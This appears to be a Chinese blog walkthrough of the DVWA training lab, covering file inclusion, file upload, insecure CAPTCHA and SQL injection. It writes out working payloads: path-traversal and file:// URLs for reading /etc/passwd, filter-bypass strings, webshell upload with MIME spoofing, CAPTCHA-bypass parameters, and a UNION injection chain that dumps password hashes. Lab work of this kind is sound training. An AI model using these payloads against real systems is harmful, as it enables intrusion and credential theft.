Damn Vulnerable Web Application(DVWA)攻略二
拖了一周今天补上
声明、安装、攻略视频在攻略一中有写这里不多赘述
File Inclusion(文件包含)
Low:
先看一下目的:

查看一下源码:

可以看到,网站并没有对gte传参做任何过滤和检查,这就意味着我们可以查看web服务器上的敏感信息http://[IP]/DVWA/vulnerabilities/fi/?page=/etc/passwd
我们的目的是查hackable/flags/fi.php这个文件中的五句话,访问看看:

现在就显示1、2、4这三句话我们查看网页源码:

这里可以看到第5句话,但依旧不显示第三句话,通过查看服务器上的源文件发现第三句话的变量内容被替换了:

除了查看源文件以外没什么办法了,我都试过。你可以尝试制作一句话木马,然后让服务器访问这个木马实现shell反弹,从而进入服务器中查看源文件。这里作者比较懒就不演示了,弱智都会。
另外网页中只显示三个文件,但是你可以访问file4.php会看到

Medium:
首先查看源码:

他做了"http://" "https://"和"../"、"..\\"的检查,但是没屁用,我们可以这样访问:
http://[IP]/DVWA/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com
在http中间添加http
http://[IP]/DVWA/vulnerabilities/fi/?page=..././..././hackable/flags/fi.php
这个同理 ../ 两点中间添加 ../,另外他并没有不允许从服务器根目录下访问任何文件例如:
http://[IP]/DVWA/vulnerabilities/fi/?page=/etc/passwd
High:
先查看源码:

fnmatch( "file*", $file ):使fnmatch函数检$file是否file开头。
$file != "include.php":检$file是否等include.php。
如$file既不file开头,也不include.php,则输出错误信息并终止脚本。
可以通file协议可以继续访问敏感文件:
http://[IP]/DVWA/vulnerabilities/fi/?page=file:///etc/passwd
访问目标文件:
http://[IP]/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/flags/fi.php
Vulnerability: File Upload(文件上传)
Low:
老样子做题先看目的:

看一下源码:

没有什么验证判断,上一句话木马,创建1.php文件,在其中添加如下内容:

注意attack是连接密码,然后保存上传。

随后访问,使用中国蚁剑连接
右键添加数据,填写URL地址http://[IP]/DVWA/hackable/uploads/1.php连接密码attack
点击添加,接下来为所欲为了,虚拟终端,文件管理都可进行操作。
Medium:
先看源码:

这里对上传文件的类型进行了验证,这个简单,使用burp拦包然后修改请求中的文件类型即可。
打开burp,有些操作之前做过,这里不过多赘述。

将红框处的内容修改为image/jpeg然后点击Forward放包。

上传成功,使用中国蚁剑连接。
High:
先看源码:

这里再上一题的基础上添加了文件末尾的文件类型检查
我们先准备一张图片,然后打开kali终端,将木马文件与图片做一个拼接操作
在终端中输入cat flag.png 10.php >> flag10.png
我们在VSCode中打开这个文件,使用十六进制编辑器查看,没有就去装!

可以看到文件末尾有如下内容:

然后上传flag1.png文件,目前没有办法直接连接,因为上传的是图片文件无法使用php解析运行此文件,但是可以通过其他地方执行命令修改文件后缀,但是很傻,因为你都进去了,有权限修改文件了,还去改文件后缀干嘛。这里不讲了。
Insecure CAPTCHA(不安全的验证方式)
Low:
先看目的:

源码:
<?php
if (isset($_POST["Change"]) && $_POST["step"] == "1") {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST["password_new"];
$pass_conf = $_POST["password_conf"];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer($_DVWA["recaptcha_private_key"], $_POST["g-recaptcha-response"]);
// Did the CAPTCHA fail?
if (!$resp) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
} else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if (isset($_POST["Change"]) && $_POST["step"] == "2") {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST["password_new"];
$pass_conf = $_POST["password_conf"];
// Check to see if both password match
if ($pass_new == $pass_conf) {
// They do!
$pass_new =
isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new)
: (trigger_error(
"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",
E_USER_ERROR
)
? ""
: "");
$pass_new = md5($pass_new);
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
($result = mysqli_query($GLOBALS["___mysqli_ston"], $insert)) or
die(
"<pre>" .
(is_object($GLOBALS["___mysqli_ston"])
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error())
? $___mysqli_res
: false)) .
"</pre>"
);
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
} else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])) ? false : $___mysqli_res;
}
?>第一部分:
1. 检查表单提交:
- 使isset($_POST['Change'])检查是否提交了表单。
- 检$_POST['step']是否等1,表示当前处于第一步。
2. 隐藏表单:
- 设$hide_form = true,表示隐藏 CAPTCHA 表单。
3. 获取用户输入:
- 获取用户输入的新密$_POST['password_new']和确认密$_POST['password_conf']。
4. 验证 CAPTCHA:
- 调recaptcha_check_answer函数验证 CAPTCHA,传入私钥和用户提交的 CAPTCHA 响应。
- 如果 CAPTCHA 验证失败,显示错误信息并返回。
5. 验证密码匹配:
- 如果 CAPTCHA 验证成功,检查新密码和确认密码是否匹配。
- 如果匹配,显示下一步的表单,让用户确认更改。
- 如果不匹配,显示错误信息。
第二部分:
1. 检查表单提交:
- 使isset($_POST['Change'])检查是否提交了表单。
- 检$_POST['step']是否等2,表示当前处于第二步。
2. 隐藏表单:
- 设$hide_form = true,表示隐藏 CAPTCHA 表单。
3. 获取用户输入:
- 获取用户输入的新密$_POST['password_new']和确认密$_POST['password_conf']。
4. 验证密码匹配:
- 检查新密码和确认密码是否匹配。
- 如果匹配,对新密码进行转义和哈希处理。
- 更新数据库中的用户密码。
- 如果不匹配,显示错误信息。
5. 关闭数据库连接:
- 使mysqli_close关闭数据库连接。
这里我们使HackBar插件或者Burp工具修Post请求。
Burp这里就不掩饰了,搞得头有点大,由于Google验证是国外服务需要挂梯子,我本机当然可以翻,但是我用Burp却不行,我怎么设置代理都不起作用。要么可以访问google不能访问DVWA,要么能访问DVWA却又不能调用Google验证的api。
我们不进行人机验证,输入新密码,然后点Change,再打HackBar并点LOAD
把Body中step的值改2,从而跳过人机验证
Medium:
源码:
<?php
if (isset($_POST["Change"]) && $_POST["step"] == "1") {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST["password_new"];
$pass_conf = $_POST["password_conf"];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer($_DVWA["recaptcha_private_key"], $_POST["g-recaptcha-response"]);
// Did the CAPTCHA fail?
if (!$resp) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
} else {
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
} else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if (isset($_POST["Change"]) && $_POST["step"] == "2") {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST["password_new"];
$pass_conf = $_POST["password_conf"];
// Check to see if they did stage 1
if (!$_POST["passed_captcha"]) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if ($pass_new == $pass_conf) {
// They do!
$pass_new =
isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new)
: (trigger_error(
"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.",
E_USER_ERROR
)
? ""
: "");
$pass_new = md5($pass_new);
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
($result = mysqli_query($GLOBALS["___mysqli_ston"], $insert)) or
die(
"<pre>" .
(is_object($GLOBALS["___mysqli_ston"])
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error())
? $___mysqli_res
: false)) .
"</pre>"
);
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
} else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])) ? false : $___mysqli_res;
}
?>
在上一题解法的基础上我们添加passed_captcha并将值设置为true:

最后点击EXECYTE
High:
源码:
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>high 级别的验证resp(谷歌验证码返回的结果)是 false,并且参数 g-recaptcha-response 不等于 hidd3n_valu3 或 http 包头的 User-Agent 参数不等于 reCAPTCHA 时认为验证码输入错误,反之则认为已经通过了验证码的检查。
g-recaptcha-response 和 User-Agent 头都是可控的,抓包改包即可绕过
Body中添加&Change=Change&g-recaptcha-response=hidd3n_valu3
然后User-Agent的值设置为reCAPTCHA

然后点击EXECUTE。
SQL Injection(SQL注入)
Low:
先看以下目的:

这题是要我们获取数据库内五个用户的密码,接着看一下源码:

没什么阻拦,我们尝试一下最简单最常用的SQL注入测试1' or '1'='1
在代码执行中会显示如下命令:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';现在知道五个账户的名字了,我们看看有几列:
' or 1 = 1 order by 1 # //有回显
' or 1 = 1 order by 2 # //有回显
' or 1 = 1 order by 3 # //报错这表示该表格的前两列是可控的,接下来查询一下当前数据库名称:1' union select database(),database()#
数据库名为dvwa,下面我们要获取表名1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
回显中显示有俩个张表分别是usersguestbook,我们的任务是获取5个用户的密码。
这里我们查users表有哪些字段1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
字段有user_id , first_name , last_name , user , password , avatar , last_login , failed_login
我们查password字段的值1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: admin
Surname: admin
ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Gordon
Surname: Brown
ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Hack
Surname: Me
ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Pablo
Surname: Picasso
ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: Bob
Surname: Smith
ID: 1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
First name: 1,2,3,4,5
Surname: 21232f297a57a5a743894a0e4a801fc3, e99a18c428cb38d5f260853678922e03, 8d3533d75ae2c3966d7e0d4fcc69216b, 0d107d09f5bbe40cade3de5c71e9e9b7, 5f4dcc3b5aa765d61d8327deb882cf99很好,但是获取到的是加密后的,将这个密文提交给AI判断发现是md5加密,我们打开下面的链接(随便哪个)解密密文。
查询结果:admin abc123 charley letmein password
Medium:
先看源码:

其实从页面上就能看出了,他把输入框禁用了:

这里我们使用burp工具拦包改包

id中1修改1 or 1 = 1 #,后面&Submit=Submit不做修改,然后点Forward执行成功
这里不过多赘述了,直接查user表中password字段:1 or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
High:
先看源码:

就是打开个窗口换个地方注入罢了,执行:1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #依旧可以
攻略二到此结束,下期不知道什么时候更新